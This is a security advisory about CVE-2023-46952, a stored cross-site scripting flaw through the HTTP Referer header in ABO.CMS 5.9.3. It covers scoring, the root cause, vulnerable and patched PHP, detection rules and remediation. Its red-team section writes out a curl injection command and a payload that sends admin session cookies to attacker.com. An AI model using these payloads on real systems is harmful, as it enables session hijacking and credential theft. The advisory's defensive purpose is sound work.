CVE-2023-46952
Executive Summary
CVE-2023-46952 identifies a stored Cross-Site Scripting (XSS) vulnerability in ABO.CMS version 5.9.3. An attacker can inject arbitrary JavaScript code via a crafted payload placed in the HTTP Referer header. When the application logs or displays the Referer header without proper sanitization, the malicious script executes in the context of an administrator's browser session. This can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ABO.CMS is a proprietary content management system. No public package registries (NPM, PyPI, Go, Ruby) are associated with this software. The risk is limited to direct installations of the CMS.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, indicating insufficient data for scoring. Based on the vulnerability characteristics, a reasonable estimated score is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R) – an administrator must view the affected log or page.
- Scope (S): Changed (C) – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)
Threat Level: Medium. Exploitation requires user interaction (admin viewing a page) but no authentication. The impact is limited to information disclosure and minor integrity loss.
Deep Dive & Mechanics
The vulnerability resides in how ABO.CMS handles the HTTP Referer header. When a user (or automated script) sends a request to the CMS, the application logs or displays the Referer header value without proper output encoding. An attacker can craft a request with a malicious Referer header containing JavaScript code, such as:
Referer: http://evil.com/"><script>alert('XSS')</script>
If an administrator views the page that displays this header (e.g., in an admin panel or log viewer), the script executes in their browser. This is a classic stored XSS because the payload is stored in the application's logs or session data.
Root Cause: Lack of input sanitization and output encoding for the Referer header. The application likely uses $_SERVER['HTTP_REFERER'] in PHP without filtering or escaping.
Vulnerable vs. Patched Code
Vulnerable Code (PHP example):
<?php
$referer = $_SERVER['HTTP_REFERER'];
echo "Referer: " . $referer;
?>
Patched Code (using htmlspecialchars):
<?php
$referer = $_SERVER['HTTP_REFERER'];
echo "Referer: " . htmlspecialchars($referer, ENT_QUOTES, 'UTF-8');
?>
The patched version escapes HTML special characters, preventing script injection. Since no official patch exists, administrators must apply this fix manually.
Exploitation & Lab Setup
Red Team (Attacker)
- Setup: Use a local or remote server running ABO.CMS 5.9.3.
- Craft Payload: Create a request with a malicious
Refererheader.curl -H "Referer: http://evil.com/"><script>alert(document.cookie)</script>" http://target-cms.com/admin/logs.php - Trigger: The payload is stored. When an admin visits the logs page, the script executes.
- Advanced Payload: Steal session cookies.
<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team (Defender)
- Detection: Monitor for unusual
Refererheaders containing HTML tags or JavaScript. - Mitigation: Apply input validation and output encoding as shown in the patched code.
- Log Review: Check server logs for
Refererheaders with suspicious patterns. - WAF Rule: Block requests with
Refererheaders containing<script>oronerror=.
Indicators of Compromise (IOCs)
- Network: HTTP requests with
Refererheaders containing<script>,onerror=,javascript:, or base64-encoded payloads. - Host: Log files containing HTML tags or JavaScript in the
Refererfield. - File: Modified PHP files (e.g.,
logs.php) with added output encoding. - Behavior: Unexpected admin actions, new admin accounts, or outbound connections from the CMS server.
Detection Engineering
YARA Rule
rule CVE_2023_46952_Referer_XSS {
meta:
description = "Detects malicious Referer header payloads targeting ABO.CMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-46952"
strings:
$xss1 = /<script[^>]*>/i
$xss2 = /onerror\s*=/i
$xss3 = /javascript\s*:/i
$xss4 = /onload\s*=/i
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2023-46952 - XSS via Referer Header in ABO.CMS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious Referer headers targeting ABO.CMS
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-referer|contains:
- '<script'
- 'onerror='
- 'javascript:'
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in Referer (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-46952 - XSS via Referer Header in ABO.CMS"; flow:to_server; http.referer; content:"<script"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2023-46952 - XSS via Referer Header in ABO.CMS"; flow:to_server; http.referer; content:"onerror="; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2023-46952 - XSS via Referer Header in ABO.CMS"; flow:to_server; http.referer; content:"javascript:"; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
- Immediate: Apply output encoding to all user-supplied data, especially the
Refererheader. Usehtmlspecialchars()in PHP or equivalent in other languages. - Short-term: Implement a Web Application Firewall (WAF) rule to block malicious
Refererheaders. - Long-term: Upgrade to a patched version of ABO.CMS if released. If no patch is available, consider migrating to a supported CMS.
- Compromise Assessment: Review server logs for signs of exploitation. Check for unauthorized admin accounts or unusual outbound connections.
Valters IT – Securing digital frontiers, one CVE at a time.